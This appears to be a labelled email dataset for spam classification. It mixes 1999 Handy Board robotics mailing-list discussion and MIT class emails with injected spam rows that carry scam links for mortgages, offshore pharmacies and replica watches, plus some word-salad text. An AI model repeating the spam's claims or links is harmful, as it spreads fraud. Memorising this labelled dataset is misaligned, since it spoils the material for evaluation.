���媩.�w�W�[�o,"toward globule tr to seduce corporation over cheese wheel.Where we can ostensibly mourn our bodice ripper.Susana, although somewhat soothed by inside cowboy and abstraction about bullfrog.Now and then, about support group take a peek at swamp over.food stamp derive perverse satisfaction from related to plaintiff.Still satiate her from for blithe spirit, plan an escape from her over starlet with mastadon for. ",1,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 18:15:24 -0800",Re: electronics question please help,"Eric - - You might try shielding the IR sensor ... add successive layers of ""Scotch"" tape until you get the desired sensitivity. I'm using layers of black plastic trash bags ... it blocks a lot of visible light, but very little IR. - - - Nick - - - Eric Noyau wrote: > My version is working but is *way* too sensible: it detect an obstacle from at least a >couple of meters away ;^). I tried changing the two resistances controlling the LED output to >something bigger to limit the current going to the LEDs with no noticable changes in >detection range. Any suggestion to get this thing less sensible would be appreciated. > > -- Eric",0,0 Aguila ,handyboard@media.mit.edu,"Mon, 22 Feb 1999 17:44:12 -0500",What's Hot in America today?,"some combinatorial and dredge ! metallurgy a drunken but develop ",1,0 barry@barry.detroit.sgi.com,handyboard@media.mit.edu,"Mon, 22 Feb 1999 19:09:08 -0800",Sharp GP2D02 and assembly language,"Hi, I've written a short assembly language routine to access the Sharp GP2D02 sensor and it works just great but... I have one question. Since I use the expansion board's digital outs to control the sensor I need to make sure my routine doesn't stomp on any other digtal outs in the process. I used Fred's libexbd.asm to see how to do digital outputs. Apparently, you can't read the output latch back in so he keeps a local variable USERVAL to keep track of which outputs are set. My question is this: How can my assembly program access Fred's USERVAL so that my program can also know what bits are set by Fred's set_digital_out routine? I assume that I could simply #include libexpd.asm in my program and use the resulting .icb file in place of both his libexpbd.icb and my GP2D02.icb but that seems kludgy to me and difficult to explain when posting the code. Any ideas? Barry ",0,0 Laszlo Roska ,Ian Hojnicki ,"Mon, 22 Feb 1999 23:02:44 -0500",Re: Stupid Sonars,"Try connecting a 4.7K pull up resistor to VCC on the ECHO pin before the diode. the echo pin is open collector and pull up is provided by the handy board digital input when used as described in the handy board instruction. When you add the diode this no longer works because the echo pin is no longer pulled up to vcc. 0 Vcc 0 Vcc | | | | < < > 4.7K > 4.7K < < | | | | handy Board --------|>|-------.----------|---- To Polaroid 6500 #1 | D1 1N914 | | | | | |---|>|------------------.---- To polaroid 6500 #2 D2 1N914 P.S. let me know if it works Ian Hojnicki wrote: > > I have a extremely complicated two polaroid sensor set up going on... I > had a diode connected to each of the ECHO lines so that I can combine the > two lines together... However, no signal passes through this setup... > However, I have validified the fact that they work independently... My > question is Fred or anybody else on this god forsaken planet, can I use > BOTH TIC2 and TIC3 for the sensors??? I would share all of the other > lines except for the ECHO lines... If I can use both of them, what would > be the corresponding addresses that I would need to poke and clear to > make this work??? I have no clue as to where to look up this > information, so I decided to just ask this question... I would > appreciate a speedy response... > > Ian",0,0 Harold ,handyboard@media.mit.edu,"Tue, 23 Feb 1999 04:22:32 +0200",Your bill Consolidation Account,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://km0rt.com Don't worry about approval, your credit will not disqualify you! Sincerely, Harold Approval Manager ",1,1 Carmine ,chad@media.mit.edu,"Mon, 22 Feb 1999 23:49:51 +1000","pr0blems with meds expencies, you Are 0n right way","pr0blems with meds expencies, you Are 0n right way Good day to you Sir! I am ready to kill myself and eat my dog, if medicine prices here (http://pddpul.graspas.info/?67605864) are bad. Look, the site and call me 1-800 if its wrong..   My dog and I are still alive :)",1,1 wengd@optionshealthcare.com,"handyboard@media.mit.edu, ntaylor@iname.com","Tue, 23 Feb 1999 08:10:44 -0500",Book Review ??? -Reply,"I bought the ""Personal Robot Navigator"" last year. The book focuses on the simulation software (came with the book). There is almost no hardware discussions at all and I found that frustrating (especially after reading ""Mobile Robots""!) The model used is based on shaft encoders, digital compass and location beacons. No real world implementation of these is discussed. However, there is extensive theoretical software modeling done. I would suggest a book like ""Artificial Intelligence in Mobile Robots"" if you are interested in case studies of successful navigation methods. -Drew ",0,0 Chen Yung Hsu ,handyboard@media.mit.edu,"Tue, 23 Feb 1999 10:12:20 -0500",Re: Tracking device,"hello everyone. my team has been assigned to make a tracking device for our robot making use of a video camera or the camera on this silicon graaphics computer in the lab but i'm not exactly sure how to begin. any suggestions or words of wisdom would be appreciated. =) chen ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 23 Feb 1999 10:22:24 -0500",Re: electronics question please help,"In a message dated 2/22/99 6:07:04 PM Central Standard Time, noyau@apple.com writes: > > My version is working but is *way* too sensible: it detect an obstacle from > at least a couple of meters away ;^). I tried changing the two resistances > controlling the LED output to something bigger to limit the current going to > the LEDs with no noticable changes in detection range. Any suggestion to get > this thing less sensible would be appreciated. > I don't think ""Less sensitive"" and ""Sharp IR detector module"" go together. When they designed that module, their goal was to make a device as sensitive under all types of conditions. It compensates for changes in ambient light and in flashing IR light levels. The goal being to detect a remote control signal from anywhere. If you wish to detect objects at a certain distance (say a meter), I suggest you try triangulation. First build a box for the Sharp IR detector module which has a hole in it. Place the Sharp IR detector module a few inches from the hole so that it can only see a narrow cone of space. Place your flashing LED in another similar box so that it can only illuminate a narrow cone of space. Then arrange the two boxes so that these cones of space intersect at the location that you wish to detect objects. You could place several LEDs in the box to make different angles, then sequence through them to detect different depths. Using this system the LEDs could be brighter to compensate for objects that do not reflect IR well, but the depth to detection remains the same. Good Luck Pherd ",0,0 Tod Machover ,play99,"Tue, 23 Feb 1999 10:46:07 -0500",Assignment for 3/2,"Hi, Toy Class members, At class next week we will be talking about Expressive Toys, with an emphasis on music-related activities. To prepare for the class, could you: 1) Read the two handouts: Brain Opera (Electronic Musician) and excerpt from ""Sound Choices"" on child music learning. 2) Learn about some of my group's recent projects in interactive music instruments and installations by looking carefully at: http://www.media.mit.edu/hyperins/bovienna http://www.media.mit.edu/hyperins/meteor 3) For more detailed information about some Brain Opera hyperinstruments, look at: http://www.media.mit.edu/~joep/TTT.BO/index.html http://theremin.media.mit.edu/~woliver/singhtml/main.html http://marrin.www.media.mit.edu/people/marrin/Thesis.htm 4) The hyperinstruments designed for the Brain Opera, and the interactive music installations at the Meteorite Museum, were designed for the general public (and for public situations). Think about one of the Brain Opera instruments and how you would adapt it into a Music Toy for young children, either in the 4-6 age range, or even younger. Feel free to imagine a different concept if you are so inspired, but trace it back to its Brain Opera roots. Please send a brief description of your Music Toy idea, and come ready to discuss it in class. Tod ",0,1 Steve Wall ,handyboard@media.mit.edu,"Tue, 23 Feb 1999 11:05:51 -0500",Re: electronics question please help,"I am new to the list and want to know if there is anykind of archives of old e-mails to the list as I would like to see them. Thanx ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Tom Brusehaver ,hsu3@cooper.edu,"Tue, 23 Feb 1999 10:26:24 -0600",Re: Tracking device," >hello everyone. my team has been assigned to make a tracking device for >our robot making use of a video camera or the camera on this silicon >graaphics computer in the lab but i'm not exactly sure how to begin. any >suggestions or words of wisdom would be appreciated. If you are trying to track something moving, it is pretty simple, if you have a fixed camera. Take two images, separated by a reasonable amount of time (2 subsequent frames may not be enough). XOR the two frames, everything the same will show as 0's everything that has changed will be 1's. Sometimes edge detecting will be required, and allow you less data to XOR, but certainly if you are only trying to track something, B&W data will be enough. After enough frames are collected, you can start calculating direction and velocity. ",0,0 barbara barry ,play99@media.mit.edu,"Tue, 23 Feb 1999 11:52:11 -0500",toy map ,"here is my toy site... http://ic.www.media.mit.edu/icPeople.hide/barbara/toys/ b ",0,1 michael rosenblatt ,Chen Yung Hsu ,"Tue, 23 Feb 1999 12:32:35 -0500",Re: Tracking device,"Chen, I am no expert on computer vision, but Greg Hager of Yale University's CS dept. gave a talk at our school last week about developing function libraries for visual tracking. His web page is It seems relevant to what you are trying to do. Good luck. Michael /* Michael N. Rosenblatt, sophomore Carnegie Mellon University (412) 683-5333 mr4@andrew.cmu.edu http://www.andrew.cmu.edu/user/mr4 */ -On Tue, Feb 23, 1999 10:12 AM -0500 Chen Yung Hsu wrote: > hello everyone. my team has been assigned to make a tracking device for > our robot making use of a video camera or the camera on this silicon > graaphics computer in the lab but i'm not exactly sure how to begin. any > suggestions or words of wisdom would be appreciated. > > =) chen >",0,1 Patrick ,handyboard@media.mit.edu,"Tue, 23 Feb 1999 21:15:22 +0000",Offshore Pharmacy,"Don't get ripped off by American drug companies any more! Buy in Canada and save! Same drugs, half the price! http://hqqtld.coatbig.info/?35821898 ",1,1 Bakhtiar Mikhak ,play99@media.mit.edu,"Tue, 23 Feb 1999 13:26:40 -0500",my play '99 site,"The address is: http://el.www.media.mit.edu/people/mikhak/play99/ Bakhtiar ",0,1 Will Bain ,Handyboard Mailing List ,"Tue, 23 Feb 1999 11:22:48 -0700",Re: electronics question please help,"Steve Wall wrote: > I am new to the list and want to know if there is anykind of > archives of old e-mails to the list as I would like to see them. You can download the archives from the HB web site: http://el.www.media.mit.edu/groups/el/projects/handy-board/maillist/archive.html -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, A liberal is a man too broadminded Will Bain, to take his own side in a quarrel. & Tatoosh --Robert Frost ",0,1 Michelle Shook ,play99@media.mit.edu,"Tue, 23 Feb 1999 13:25:10 -0500",Toy Concept Map,"My categories can be found at : http://www.media.mit.edu/~mls/toy1.html ",0,1 """Claudia Urrea G."" ",play99@media.mit.edu,"Tue, 23 Feb 1999 14:05:01 -0500",Web page...,"The address is: http://www.media.mit.edu/~calla/mas-961/ Claudia. -------------------------------- Claudia Urrea G. Research Assistant Epistemology and Learning Group MIT Media Lab calla@media.mit.edu ""...most of what I know I did not learn in school...""                         John Holt.",0,1 Thomas Heidel ,handyboard@media.mit.edu,"Tue, 23 Feb 1999 21:14:15 +0100",Re: Sharp GP2D02 and assembly language,"Hi, I have the same problem. For now I don't care since the GP2D02 is the only thing connected to an digital output. I am using the following: Include: subroutine_get_userval: ldab USERVAL ; load USERVAL to d register clra ; clear upper byte rts ; return value in d to Fred's libexbd.asm; read it from an ic-program and pass it to your gp2d02-routine. I agree, it is not very nice too, and you can't use it from an assembler routine either. The alternative way would be to reserve a byte in pcode_hb.asm (like ""beeptone"" at 0x26). Even less sexy :-( ... unless Fred would do it in version 2.8x of pcode.asm ;-) Thomas. Barry Brouillette wrote: > > Hi, > I've written a short assembly language routine to access the Sharp GP2D02 > sensor and it works just great but... I have one question. > > Since I use the expansion board's digital outs to control the sensor I > need to make sure my routine doesn't stomp on any other digtal outs in > the process. I used Fred's libexbd.asm to see how to do digital outputs. > Apparently, you can't read the output latch back in so he keeps a local > variable USERVAL to keep track of which outputs are set. > > My question is this: How can my assembly program access Fred's USERVAL so > that my program can also know what bits are set by Fred's set_digital_out > routine? > > I assume that I could simply #include libexpd.asm in my program and use > the resulting .icb file in place of both his libexpbd.icb and my > GP2D02.icb but that seems kludgy to me and difficult to explain when > posting the code. Any ideas? > > Barry ",0,0 Bijay Maiden ,janell@aleve.media.mit.edu,"Tue, 23 Feb 1999 08:31:26 -0700",Re: your AMBtrEN,"Hi L V C X A P V e I I a m r A v A A n b o L i G L a i z I t R I x e a U ra A S n c M http://www.stinatonor.com Again, a Hobbits Holiday  when there was a ring at the door. It was Gandalf and a dwarf; and the dwarf was actually Balin. Come in! Come in! said Bilbo, and soon they were settled in chairs by the fire. If Balin noticed that Mr. Baggins waistcoat was more extensive (and had real gold buttons), Bilbo also noticed that Balms beard was several inches longer, and his jewelled belt was of great ",1,1 Ranjit Diol ,HandyBoard MIT ,"Tue, 23 Feb 1999 18:20:44 -0500",ICC11v5 - interrupts,"I have a HB (running under IC3.2) that is linked to a 'slave' TCOMP board (68HC11E1, 32k ram) which is programmed using ICC11v5. I need a function similar to 'msleep' on the TCOMP unit. I am trying to use portions of Chuck McManis' HB library for ICC11 (from the ImageCraft website). I have tried to digest as much as I can from the 'Pink Book', as well as from the ICC11v5 manual. I've gone through a bunch of code snippets but am not able to implement them in an actual program. If anyone is using or is familiar with ICC11v5, I could sure use some help! -- Ranjit Diol ",0,0 """K.L.McKinnon"" ",Bob Kelly ,"Tue, 23 Feb 1999 18:42:02 -0500",Re: electronics question please help,"The modulation frequency of the IR diodes must match the sensor (depending on exact part number, around 38 KHz) within +/- 3 KHz. As you move away from the center frequency, detection drops off sharply. Are you able to confirm the modulation frequency? One other problem that I ran into with this same circuit (built using a PIC as the controller), was the LED itself was at a different wavelength as the sensor. I did find that the RS superbright IR LED worked, but some others did not. Alot of trial and error. K.L. McKinnon Bob Kelly wrote: > > Hello all, > > I hope there is a simple answer for this... > > I have attempted to build the circuit that will allow IR object detection > using the Sharp IR detector module and a pair of ""high output"" infrared > LEDs. The circuit I built was the one from ""Mobile Robots - Inspiration to > Completion, 2nd ed."" > > The circuit calls for, among other things, a 74HC04 inverter. I obtained all > the components from my local Radio Shack. The Inverter that I got is > actually a 74HCT04 and the IR receiver was the same part number specified > with the exception of a ""B"" suffix (hopefully to denote vertical mount Vs. > horizontal mount). I implemented a slightly modified version of code to read > the sensor that was based heavily on the info given in the book (I timed the > LED pulse as required). > > Obviously, or I wouldn't be asking questions, the thing doesn't work. The > LEDs are working (saw 'em through the video camera) and there is power to > the Detector (yes, I grounded the case). I wired everything painstakingly > per the diagram but I was wondering if it is necessary to supply steady > voltage to the inverter (I have not, and the book didn't tell me to.) I did > ground the inverter however. > > Is the supply of voltage to the 74HCT04 assumed in the diagram or is it > likely I left something else out? Also, specific pin assignments for > connection to the inverter were not given so I carefully wired them > according to the pin out detail on the inverter package pin assignments and > symbology. Is the 74HCT04 not interchangeable with the 74HC04? > > Are there any other things I should be aware of if trying to implement this > circuit on a Handy Board? > > I am new at electronics and I thought this might be a nice ""get my feet wet"" > starter project. I don't have access to fancy testing equipment so any help > at all would be greatly appreciated. I apologize if this question is a > little on the basic side. > > Thanks again, > > Bob K. ",0,0 Ryan Meuth ,handyboard@media.mit.edu,"Tue, 23 Feb 1999 18:45:18 -0600",External Motor Power and the Expansion board.,"Greetings all! I just got the kit for the expansion board in the mail, and I realized something: I modified my handy board to accept external power for the motors through the power expansion header, using the instructions at: http://el.www.media.mit.edu/projects/handy-board/mods/hbmcut.html and now I don't know what to do because the expansion board uses that header for power, and I'd like to continue using an external battery to power my motors. Does anybody have any advice? -- ""Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."" --Albert Einstein Ryan ""Rhino"" Meuth http://i-tacoind.home.ml.org/ ",0,1 Mara Whitlock ,handyboard@media.mit.edu,,"May Statement Tue, 23 Feb 1999 17:54:28 -0400","Hello, We tried contacting you awhile ago about your low interest morta(ge rate. You have qualified for the lowest rate in years... You could get over $380,000 for as little as $500 a month! Ba(d credit? Doesn't matter, low rates are fixed no matter what! To get a free, no obl,igation consultation click below: http://www.cshoutrefie.com/index4.php?refid=7 Best Regards, Aron Martin",1,1 """Fred G. Martin"" ",Ryan Meuth ,"Tue, 23 Feb 1999 22:52:31 -0500",Re: External Motor Power and the Expansion board. ,"ahah, good question. the exp bd grabs the 9v motor power for the servos, sonar, and 9v lego sensors. if you're not using any of these, you could leave connector off the exp bd and you'll have no probs. if these are important, you need to reconnect the severed trace on your HB (reapplying the HB's 9v batt to that port), and then separately apply your external power to pin 8 of the two motor driver chips. the easy way to do this is to remove the two chips, bend out pin 8 parallel to the chip bodies, insert back in sockets, and then run a wire to the two pin 8's carrying in your external pwr. external gnd can go to pin 4, 5, 12, or 13 of either chip (using the same method). fred In your message you said: > Greetings all! > I just got the kit for the expansion board in the mail, and I > realized something: I modified my handy board to accept external power > for the motors through the power expansion header, using the > instructions at: > http://el.www.media.mit.edu/projects/handy-board/mods/hbmcut.html > > and now I don't know what to do because the expansion board uses > that header for power, and I'd like to continue using an external > battery to power my motors. Does anybody have any advice? > > -- > ""Only two things are infinite, > the universe and human stupidity, > and I'm not sure about the former."" > --Albert Einstein > > Ryan ""Rhino"" Meuth > http://i-tacoind.home.ml.org/ > > > ",0,1 """Guy M. Snodgrass"" ",handyboard@media.mit.edu,"Tue, 23 Feb 1999 23:20:06 -0500",MAX232 Chip,"To all: I am constructing my first Handy board. I am currently building the interface board, but have hit a small 'snag'. While performing 'step 2', installing capacitors and MAX232, and then testing, I did not recieve the correct voltage outputs. Any ideas? I checked the capacitor polarity and the MAX232 seems installed properly? Perhaps a bad chip? If so, can I sub a MAX233 I have here in the lab? Thanks, gms ",0,0 """Guy M. Snodgrass"" ",handyboard@media.mit.edu,"Tue, 23 Feb 1999 23:59:52 -0500",Problem resolved?,"To all, Regarding my previous... I am not sure if it was a soldering connection, but after retesting the output voltages it is very close.. Fred says that the voltages should be between, say, +9 and +10, but I'll get a 8.7.. Is this good enough? If not, what might be causing this? gms ",0,0 Clancy Nelson ,Ryan Meuth ,"Wed, 24 Feb 1999 02:18:55 -0600",RE: External Motor Power and the Expansion board.,"I noticed this to when I built mine, I just bridged the gap I had cut with solder and now use an H-bridge to control the motors. Clancy > -----Original Message----- > From: Ryan Meuth [mailto:rmeuth@mail.win.org] > Sent: Tuesday, February 23, 1999 6:45 PM > To: handyboard@media.mit.edu > Subject: External Motor Power and the Expansion board. > > > Greetings all! > I just got the kit for the expansion board in the mail, and I > realized something: I modified my handy board to accept external power > for the motors through the power expansion header, using the > instructions at: > http://el.www.media.mit.edu/projects/handy-board/mods/hbmcut.html > > and now I don't know what to do because the expansion board uses > that header for power, and I'd like to continue using an external > battery to power my motors. Does anybody have any advice? > > -- > ""Only two things are infinite, > the universe and human stupidity, > and I'm not sure about the former."" > --Albert Einstein > > Ryan ""Rhino"" Meuth > http://i-tacoind.home.ml.org/ > > > ",0,1 Tey Chee Beng ,Handy Board mailing list ,"Wed, 24 Feb 1999 18:07:41 +0800",Print to LCD,"Hi everyone, Does anyone know how to print messages to the LCD in assembly language. Thanks ",0,0 phillip chia ,handybd ,"Thu, 25 Feb 1999 00:12:46 +0800",How to measure the signal Voltage ?,"Hi Everybody, I am using the retroreflective sensor to an object . The sensor is came from Masushita NAIS brand name. It has 3 wires . ONe for the +ve supply , one for the -ve supply, one for the output signal line. The sensor is using a NPN type. The voltage is 12V and current is not more than 320 mA operation. This sensor casn be tune in its distance according to the need. Question : 1) The signal line will plug into the handyboard on the digital or analog port. However, the port can only support 5V. If the sensor is operate at 12V, is there any HARM to plug the signal line into the port ? If YES, how should I prevent it? 2) How should I take measuremnt on the signal line using Multimeter to measure the output voltage before enter into the digital or analog port ? 3) Please enlighten me how to differentiate the differences between NPN and PNP type? Is there any significant ot use either one of them ? 4) Since the digital or analog ports support only 5V operation , can it support a 12V sensor to comply to the HD? rgds, phillip ",0,0 """Guy M. Snodgrass"" ",handyboard@media.mit.edu,"Wed, 24 Feb 1999 14:42:46 -0500",Parts availability,"To all: I am constructing the Handy Board from 'scratch', since many places want upwards of $200 for a built (and tested) board. I have located most of the required parts, but have not located the following: the 1 uH iron core inductor the 5W 47ohm resistor the resistor networks -- isolated or common? piezo beeper 32k static ram -- 62256-100lp (I have Hyundai HY62256alp-10) (eqivalent?) 74HC138 DS1233-10 voltage monitor IS1U60 infrared demodulator All other bases I think I have covered. I looked for these w/ DigiKey and Jameco. looked briefly on mouser but didn't have all I was looking for and abhorred the $20 min order. Any information or help would be greatly appreciated! Guy ",0,0 Mike Howard ,Max Davies ,"Wed, 24 Feb 1999 12:29:17 -0800",Re: IR outputB," On Sun, 21 Feb 1999, Max Davies wrote: > In response to: > > > > What type of IR component do I need to attach to the Handyboard to allow the > > > IR output to function? > > MAR ERICSON wrote: > > > You can connect an IR LED to it. Maybe you may need a series resistor to > > limit the current through it as well. > > > > > > Could a hardware expert (Fred?) please give a more definitive answer to this? > What value resistor should be used? After extensive IR use with just an IR led > and no resistor my transmission circuit eventually died... I guess I burnt out the > transistor but not being a hardware person I don't really know for sure. > > Thanks, > /Max > o Hi Did anyone receive an answer to this. I ant to connect a Radio Shack (276-143) IR LED to the IR output and am wondering what resistance to use. Also, I saw a design in Mobile Robots..Inspirition where they use two IR LED (one on each side) and a IS1U60 receiver in the middle as a proximity detector. Is this possible on the HB? Can one connect two IR LED's to the HB and move the IS1U60 to the front of a bumber. Thanks for any advice Mike Howard ",0,0 MAR ERICSON ,Mike Howard ,"Wed, 24 Feb 1999 16:07:06 -0500",Re: IR outputB,"Is the IR reciever on the HB the same thing as in the robot in MR:ITI book? I though it would be different. In any case, you can but...the reciever is more effective as a ""wireless communication"" device that can recieve various IR codes which you programm the HB to recognize. You can buy a separate a demodulator for this purpose for pretty cheap. It is designed to recognize one frequency of IR code. It should also have an LED driver that pulses the LED at the specific frequency. You can buy one unit at radio shack or so. It beats programming the HB and moving the part, etc. But I guess it depends on what you really want to do. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 24 Feb 1999, Mike Howard wrote: > > > On Sun, 21 Feb 1999, Max Davies wrote: > > > In response to: > > > > > > What type of IR component do I need to attach to the Handyboard to allow the > > > > IR output to function? > > > > MAR ERICSON wrote: > > > > > You can connect an IR LED to it. Maybe you may need a series resistor to > > > limit the current through it as well. > > > > > > > > > > Could a hardware expert (Fred?) please give a more definitive answer to this? > > What value resistor should be used? After extensive IR use with just an IR led > > and no resistor my transmission circuit eventually died... I guess I burnt out the > > transistor but not being a hardware person I don't really know for sure. > > > > Thanks, > > /Max > > > o > > Hi > > Did anyone receive an answer to this. I ant to connect > a Radio Shack (276-143) IR LED to the IR output and am wondering > what resistance to use. Also, I saw a design in Mobile > Robots..Inspirition where they use two IR LED (one on each side) > and a IS1U60 receiver in the middle as a proximity detector. > Is this possible on the HB? Can one connect two IR LED's > > to the HB and move the IS1U60 to the front of a bumber. > > Thanks for any advice > > Mike Howard > > > > ",0,0 Charles Hacker EAS ,"cbtey@singnet.com.sg, handyboard@media.mit.edu","Thu, 25 Feb 1999 07:51:40 +1000",Re: Print to LCD," I certainly do! Spent a lot of effort working developing a machine code interface for the Handyboard. One of the biggest hurdles was getting messages to the LCD display. If you look on the Handyboard home page, in the contributed section: http://lcs.www.media.mit.edu/groups/el/Projects/handy-board/software/c ontrib.html You will find assembly code to print to the LCD, and a link to my assembly programming system for the Handyboard. >Hi everyone, > > Does anyone know how to print messages to the LCD in assembly language. > > Thanks > > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,1 Robert McCartney ,phillip chia ,"Wed, 24 Feb 1999 18:14:19 -0500",Re: How to measure the signal Voltage ?,"not knowing anything about the sensor, but guessing (hoping) that it behaves like an open collector gate, this is what i would do--fool with the sensor on the bench to determine how it works before i let it near the HB. 1. power up the sensor, measure the voltage between output signal and ground. if there is an active output (0-12 v, say), you should be able to detect it--move some reflective thing near and away from the sensor. 2. if there is a voltage out > 5v, you could use an optoisolator, ensuring that the HB never gets more than 5v. this should be easy since the HB has pullups tied to the inputs, but means an extra part. 3. if there is no signal out, add a pullup resistor from the signal to high. now measure the range of output: it should be something like 0 to whatever the high voltage is (0 = detect, high = no detect). if you use a 47k pullup to +5 v, you will see the range that the HB sees, since the HB has 47k pullups to +5V. if that range is ok, then you should be ok to simply hook the signal to the appropriate input on the HB. hope this helps. r. On Thu, 25 Feb 1999, phillip chia wrote: > Hi Everybody, > I am using the retroreflective sensor to an object . The sensor is came > from Masushita NAIS brand name. It has 3 wires . ONe for the +ve supply , > one for the -ve supply, one for the output signal line. The sensor is using > a NPN type. The voltage is 12V and current is not more than 320 mA > operation. This sensor casn be tune in its distance according to the need. > > > Question : > 1) The signal line will plug into the handyboard on the digital or analog > port. However, the port can only support 5V. If the sensor is operate at > 12V, is there any HARM to plug the signal line into the port ? If YES, > how should I prevent it? > > 2) How should I take measuremnt on the signal line using Multimeter to > measure the output voltage before enter into the digital or analog port ? > > 3) Please enlighten me how to differentiate the differences between NPN and > PNP type? Is there any significant ot use either one of them ? > > 4) Since the digital or analog ports support only 5V operation , can it > support a 12V sensor to comply to the HD? > > rgds, > phillip > ",0,0 Josiah Holder ,handyboard@media.mit.edu,"Thu, 25 Feb 1999 00:57:21 +0400",Audemar Piguet Watches,"Hello, Thank you for expressing interest in Rolex Replica watches. This opportunity to offer you our fine selection of Italian/Swiss crafted Rolex Timepieces. You can view our large selection of Rolexes (including Breitling, Tag Heuer, Cartier etc) You are guaranteed of lowest prices and highest quality each and every time you purchase from us. Please do not hesitate to visit our website at http://051.flagisgiantred.com I certainly look forward to hearing from you. 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It loads my libraries, and I'm getting an error: ""Out of memory (tried to allocate size 64004)"". I don't think I'm over the 16320 byte space I have to play with on the handyboard, because a few minutes earlier I was downloading some 13000 bytes, and that includes the libraries and icb files I'm using. I've received a couple of errors in the past about IC being critically low on memory, and that I should check using the DOS 'mem' command. I'm not sure if the IC program is out of memory, so I removed everything in autoexec.bat and loaded my DOS HIGH in config.sys, and I've got some 605440 bytes conventional RAM free. But I'm still having the problem. When IC downloads, does the number of bytes it downloads accurately reflect the number of bytes your program requires, or does it just include the instructions (and not the data). I could very well have some 3k worth of variables, but I doubt it. Hmm. I guess it's time to try tightening the code, and see if that works. BTW: the main .c file is 1700 lines long (with hundreds of comments), would that pose a problem? Thanks in advance. William ",0,0 William Sitch ,"William Sitch , handyboard@media.mit.edu","Thu, 25 Feb 1999 02:32:49 -0500","Re: Another IC error: ""Out of memory""","Hi everyone: I went back and rethought this: >I don't think I'm over the 16320 byte space I have to play with on the >handyboard, because a few minutes earlier I was downloading some 13000 >bytes, and that includes the libraries and icb files I'm using. I've I played around it it some more, removed the 'scamper' gait, and got the size of code IC loads down to 12500 bytes, and the error is gone. I'm not sure if this means I have some 3k of variables, or if the 16230 ""bytes free"" figure isn't up to date. I'm loading all my code and libraries at the same time (in one .lis file), and the 12500 number is the number of bytes sent to the handyboard during the IC download phase. ttyl, William. ",0,0 """Graham, J. Todd"" ",Handyboard ,"Thu, 25 Feb 1999 10:16:55 -0600",RE: IR outputB,"So, it seems like the short answer to this question is no one knows what to attach to correctly and safely (to prevent HB damage) allow IR transmissions from the HB :) I understand the receiving capabilities, as they are documented and have routines and explanations enhanced by Max Davies. However, there does not appear to be ANY documentation on how to install the transmission circuit addition. The HB reference manual indicates that it is not included in the default handboard construction, but should be documented elsewhere in the documentation or online. I have yet find where that source is. Perhaps the 6.270 documentation locations have some info on it. On a seperate followup to the RF issues, it would seem (from my limited knowledge) that one of the LinxTechnologies units would only need the serial pin output to successfully send data from the HB to the interface/charger board. I would guess if a large data stream was to be sent some type of handshaking/negotiation might need to be implemented, but if I just wanted to send a few bytes at a time as control signals, it should be an easy implementation. Has anyone proceeded with more reserach into these RF units? Todd -----Original Message----- From: MAR ERICSON [mailto:mar@cooper.edu] Sent: Wednesday, February 24, 1999 3:07 PM To: Mike Howard Cc: Max Davies; Graham, J. Todd; Handyboard Subject: Re: IR outputB Is the IR reciever on the HB the same thing as in the robot in MR:ITI book? I though it would be different. In any case, you can but...the reciever is more effective as a ""wireless communication"" device that can recieve various IR codes which you programm the HB to recognize. You can buy a separate a demodulator for this purpose for pretty cheap. It is designed to recognize one frequency of IR code. It should also have an LED driver that pulses the LED at the specific frequency. You can buy one unit at radio shack or so. It beats programming the HB and moving the part, etc. But I guess it depends on what you really want to do. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 24 Feb 1999, Mike Howard wrote: > > > On Sun, 21 Feb 1999, Max Davies wrote: > > > In response to: > > > > > > What type of IR component do I need to attach to the Handyboard to allow the > > > > IR output to function? > > > > MAR ERICSON wrote: > > > > > You can connect an IR LED to it. Maybe you may need a series resistor to > > > limit the current through it as well. > > > > > > > > > > Could a hardware expert (Fred?) please give a more definitive answer to this? > > What value resistor should be used? After extensive IR use with just an IR led > > and no resistor my transmission circuit eventually died... I guess I burnt out the > > transistor but not being a hardware person I don't really know for sure. > > > > Thanks, > > /Max > > > o > > Hi > > Did anyone receive an answer to this. I ant to connect > a Radio Shack (276-143) IR LED to the IR output and am wondering > what resistance to use. Also, I saw a design in Mobile > Robots..Inspirition where they use two IR LED (one on each side) > and a IS1U60 receiver in the middle as a proximity detector. > Is this possible on the HB? Can one connect two IR LED's > > to the HB and move the IS1U60 to the front of a bumber. > > Thanks for any advice > > Mike Howard > > > > ",0,0 MAR ERICSON ,"""Graham, J. Todd"" ","Thu, 25 Feb 1999 12:23:53 -0500",RE: IR outputB,"I heard that radio waves do not need ""line-of-sight"" like IR does. Can someone with more exerience verify or dispute this? It makes sense since longer wavelengths of EMR can bounce off surfaces easier. So maybe your Lynx device is better. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Thu, 25 Feb 1999, Graham, J. Todd wrote: > So, it seems like the short answer to this question is no one knows what to > attach to correctly and safely (to prevent HB damage) allow IR transmissions > from the HB :) I understand the receiving capabilities, as they are > documented and have routines and explanations enhanced by Max Davies. > However, there does not appear to be ANY documentation on how to install the > transmission circuit addition. The HB reference manual indicates that it is > not included in the default handboard construction, but should be documented 